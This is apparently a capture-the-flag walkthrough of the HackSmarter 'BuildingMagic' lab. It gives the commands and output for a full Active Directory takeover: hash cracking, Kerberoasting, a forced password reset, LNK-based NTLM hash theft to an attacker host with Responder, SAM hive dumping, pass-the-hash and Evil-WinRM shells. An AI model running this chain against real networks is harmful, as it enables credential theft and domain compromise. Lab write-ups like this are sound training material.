Zerotrace Logs

BuildingMagic

Overview

As a penetration tester on the Hack Smarter Pentesters team, the objective is to achieve a full compromise of the Active Directory environment.

Starting Point: A prior enumeration phase yielded a leaked database containing usernames and hashed passwords.

Goal: Leverage the compromised credentials to escalate privileges, move laterally through the Active Directory, and ultimately achieve complete domain compromise.

Lab Setup

Add the following entries to /etc/hosts:

<TARGET_IP>  buildingmagic.local dc01.buildingmagic.local

Reconnaissance

[Step 1] Analyzing the Leaked Database

The leaked database contains the following user information:

id  username        full_name            role            password
1   r.widdleton     Ron Widdleton        Intern Builder  c4a21c4d438819d73d24851e7966229c
2   n.bottomsworth  Neville Bottomsworth Planner         61ee643c5043eadbcdc6c9d1e3ebd298
3   l.layman        Luna Layman          Planner         8960516f904051176cc5ef67869de88f
4   c.smith         Chen Smith           Builder         bbd151e24516a48790b2cd5845e7f148
5   d.thomas        Dean Thomas          Builder         4d14ff3e264f6a9891aa6cea1cfa17cb
6   s.winnigan      Samuel Winnigan      HR Manager      078576a0569f4e0b758aedf650cb6d9a
7   p.jackson       Parvati Jackson      Shift Lead      eada74b2fa7f5e142ac412d767831b54
8   b.builder       Bob Builder          Electrician     dd4137bab3b52b55f99f18b7cd595448
9   t.ren           Theodore Ren         Safety Officer  bfaf794a81438488e57ee3954c27cd75
10  e.macmillan     Ernest Macmillan     Surveyor        47d23284395f618bea1959e710bc68ef

[Step 2] Extracting and Cracking Password Hashes

I extracted just the hashes from the leaked data to check against CrackStation:

$ awk '{print $NF}' leak_data

CrackStation results showing two cracked MD5 hashes

What is CrackStation?
CrackStation is a free online hash lookup service that uses massive pre-computed rainbow tables to instantly crack common password hashes. It supports MD5, SHA1, SHA256, and other hash types without requiring any computation on your end.

CrackStation cracked two hashes:

For hashes that CrackStation missed, I used hashcat with rockyou.txt:

$ hashcat -m 0 hash /usr/share/wordlists/rockyou.txt --show
[REDACTED]:[REDACTED]
What is hashcat -m 0? The -m flag in hashcat specifies the hash type. Mode 0 is for raw MD5 hashes. The --show flag displays already-cracked hashes from hashcat's potfile.

Initial Access

[Step 3] Credential Validation

I validated the credentials using NetExec. Only r.widdleton had valid access:

$ nxc smb 10.1.167.230 -u r.widdleton -p [REDACTED]
SMB   10.1.167.230  445  DC01  [+] BUILDINGMAGIC.LOCAL\r.widdleton:[REDACTED]

NetExec SMB validation showing r.widdleton successful login

What is NetExec (nxc)?
NetExec is the successor to CrackMapExec, a post-exploitation tool for testing credentials against various Windows services (SMB, LDAP, WinRM, etc.). The [+] indicates successful authentication.

Lateral Movement

[Step 4] BloodHound Enumeration

Using BloodHound, I discovered a Kerberoastable user account: r.haggard.

BloodHound query showing Kerberoastable users with r.haggard identified

What is Kerberoasting?
Kerberoasting is an attack that extracts service account credential hashes from Active Directory. Any authenticated domain user can request a Kerberos service ticket (TGS) for accounts with a Service Principal Name (SPN) set. The ticket is encrypted with the service account's password hash, which can then be cracked offline without generating authentication failures.

[Step 5] Kerberoasting r.haggard

I used NetExec to perform the Kerberoasting attack:

$ nxc ldap 10.1.167.230 -u r.widdleton -p [REDACTED] --kerberoast output.txt

NetExec Kerberoasting output capturing TGS hash for r.haggard

[Step 6] Cracking the TGS Hash

I cracked the Kerberos TGS hash using hashcat:

$ hashcat -m 13100 tgs_hash.txt /usr/share/wordlists/rockyou.txt
$krb5tgs$23$*r.haggard$BUILDINGMAGIC.LOCAL$...:[REDACTED]
What is hashcat -m 13100? Mode 13100 is for Kerberos 5 TGS-REP etype 23 (RC4) hashes. These are the hashes obtained from Kerberoasting attacks.

Validated access:

$ nxc ldap 10.1.167.230 -u r.haggard -p '[REDACTED]'
LDAP  10.1.167.230  389  DC01  [+] BUILDINGMAGIC.LOCAL\r.haggard:[REDACTED]

[Step 7] ForceChangePassword Abuse

BloodHound revealed that r.haggard has the ForceChangePassword permission over h.potch:

BloodHound graph showing r.haggard has ForceChangePassword rights over h.potch

What is ForceChangePassword?
This Active Directory permission allows a user to reset another user's password without knowing the current password. It is a dangerous misconfiguration that enables direct account takeover.

I used net rpc to change h.potch's password:

$ net rpc password 'h.potch' '[REDACTED]' -U 'BUILDINGMAGIC.LOCAL'/'r.haggard'%'[REDACTED]' -S DC01.BUILDINGMAGIC.LOCAL

Validated the new credentials:

$ nxc smb 10.1.167.230 -u h.potch -p '[REDACTED]'
SMB  10.1.167.230  445  DC01  [+] BUILDINGMAGIC.LOCAL\h.potch:[REDACTED]

[Step 8] NTLM Hash Capture via Malicious LNK File

I discovered that h.potch has read/write access to a file share. I used this to capture NTLM hashes through a malicious LNK file.

What is NTLM Theft?
When a user browses to a folder containing certain file types (.lnk, .url, .scf, etc.), Windows automatically attempts to resolve embedded UNC paths. If that path points to an attacker-controlled server, the user's NTLM hash is sent for authentication, which can be captured and cracked offline.

I generated malicious files using ntlm_theft:

$ python3 ntlm_theft.py -g modern -s 10.200.26.206 -f meeting
Created: meeting/meeting.lnk (BROWSE TO FOLDER)
Created: meeting/meeting-(url).url (BROWSE TO FOLDER)
...

I uploaded the .lnk file to the file share:

$ smbclient //10.1.167.230/File-Share -U h.potch
Password for [WORKGROUP\h.potch]:
smb: \> put meeting.lnk
putting file meeting.lnk as \meeting.lnk (5.1 kB/s) (average 5.1 kB/s)

I started Responder to capture the hash:

$ sudo responder -I tun0 -v
What is Responder? Responder is a network poisoning tool that listens for LLMNR, NBT-NS, and MDNS queries to capture NTLM hashes. The -I flag specifies the network interface, and -v enables verbose output.

Responder capturing NTLMv2 hash for h.grangon

A user browsed to the share, and I captured their NTLMv2 hash:

H.GRANGON::BUILDINGMAGIC:a746324b2edec74a:[REDACTED]:...

[Step 9] Cracking the NTLMv2 Hash

$ hashcat -m 5600 ntlmv2_hash.txt /usr/share/wordlists/rockyou.txt
H.GRANGON::BUILDINGMAGIC:...:[REDACTED]
What is hashcat -m 5600? Mode 5600 is for NTLMv2 hashes (NetNTLMv2). These are network authentication hashes captured during NTLM relay or theft attacks, different from the NT hashes stored in SAM/NTDS.

NetExec validating h.grangon credentials

Initial Shell Access

[Step 10] Remote Management Access

BloodHound showed that h.grangon is a member of the Remote Management Users group:

BloodHound showing h.grangon membership in Remote Management Users

What is Remote Management Users?
This built-in Windows group grants members the ability to connect via Windows Remote Management (WinRM) on port 5985/5986. This enables PowerShell remoting and is commonly targeted for gaining interactive shell access.

I connected via Evil-WinRM:

$ evil-winrm -i 10.1.167.230 -u 'h.grangon' -p '[REDACTED]'

Evil-WinRM shell v3.7
*Evil-WinRM* PS C:\Users\h.grangon\Documents>

User Flag

*Evil-WinRM* PS C:\Users\h.grangon\Documents> type ..\Desktop\user.txt

The user flag is located at C:\Users\h.grangon\Desktop\user.txt.

Privilege Escalation

[Step 11] SeBackupPrivilege Abuse

Checking privileges revealed SeBackupPrivilege:

*Evil-WinRM* PS C:\Users\h.grangon> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
What is SeBackupPrivilege?
This privilege allows a user to read any file on the system, bypassing all access control lists (ACLs). It is intended for backup operations but can be abused to extract sensitive files like the SAM and SYSTEM registry hives, which contain local account password hashes.

I extracted the SAM and SYSTEM hives:

*Evil-WinRM* PS C:\Users\h.grangon\Desktop> reg.exe save hklm\sam C:\Users\h.grangon\Desktop\sam.save
The operation completed successfully.

*Evil-WinRM* PS C:\Users\h.grangon\Desktop> reg.exe save hklm\system C:\Users\h.grangon\Desktop\system.save
The operation completed successfully.

I downloaded the files to my attack machine:

*Evil-WinRM* PS C:\Users\h.grangon\Desktop> download sam.save
Info: Download successful!

*Evil-WinRM* PS C:\Users\h.grangon\Desktop> download system.save
Info: Download successful!

[Step 12] Extracting Local Hashes

Using secretsdump.py from Impacket, I extracted the local account hashes:

$ secretsdump.py -system system.save -sam sam.save LOCAL
[*] Target system bootKey: 0x[REDACTED]
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:[REDACTED]:[REDACTED]:::
Guest:501:[REDACTED]:[REDACTED]:::
DefaultAccount:503:[REDACTED]:[REDACTED]:::
What is secretsdump.py? Part of the Impacket toolkit, secretsdump.py extracts password hashes from SAM/SYSTEM registry hives, NTDS.dit files, or remotely via DCSync. The LOCAL parameter indicates offline extraction from dumped files.

[Step 13] Password Spraying with Hash

I enumerated domain users:

$ nxc smb 10.1.167.230 -u 'h.grangon' -p '[REDACTED]' --users
SMB  10.1.167.230  445  DC01  Administrator
SMB  10.1.167.230  445  DC01  h.potch
SMB  10.1.167.230  445  DC01  r.widdleton
SMB  10.1.167.230  445  DC01  r.haggard
SMB  10.1.167.230  445  DC01  h.grangon
SMB  10.1.167.230  445  DC01  a.flatch

I created a user list and performed a pass-the-hash attack:

$ nxc smb 10.1.167.230 -u user.list -H [REDACTED] --continue-on-success
SMB  10.1.167.230  445  DC01  [+] BUILDINGMAGIC.LOCAL\a.flatch:[REDACTED]

NetExec password spraying with hash showing a.flatch as valid

What is Pass-the-Hash?
Pass-the-Hash (PtH) is a technique where an attacker uses a password's NTLM hash to authenticate without knowing the plaintext password. This works because Windows NTLM authentication uses the hash directly, not the password itself.

The local Administrator hash worked for the domain user a.flatch, indicating password reuse between the local Administrator account and this domain user.

NetExec confirming a.flatch has Pwn3d status

[Step 14] Domain Admin Access

BloodHound confirmed that a.flatch is a member of the Domain Admins group:

BloodHound showing a.flatch membership in Administrators group

Domain Compromise

[Step 15] Administrator Shell

I connected as a.flatch using Evil-WinRM with the hash:

$ evil-winrm -u a.flatch -H [REDACTED] -i 10.1.167.230

Evil-WinRM shell as a.flatch reading root flag

Root Flag

*Evil-WinRM* PS C:\Users\a.flatch\Documents> type C:\Users\Administrator\Desktop\root.txt
9557e6

Tools Used

Attack Chain Summary

Leaked DB -> r.widdleton (password crack)
    |
    v
Kerberoasting -> r.haggard
    |
    v
ForceChangePassword -> h.potch
    |
    v
NTLM Theft via LNK -> h.grangon (Remote Management Users)
    |
    v
SeBackupPrivilege -> Extract SAM hashes
    |
    v
Pass-the-Hash -> a.flatch (Domain Admin)
    |
    v
Domain Compromise

Key Takeaways

Walkthrough by Zerotrace | HackSmarter Labs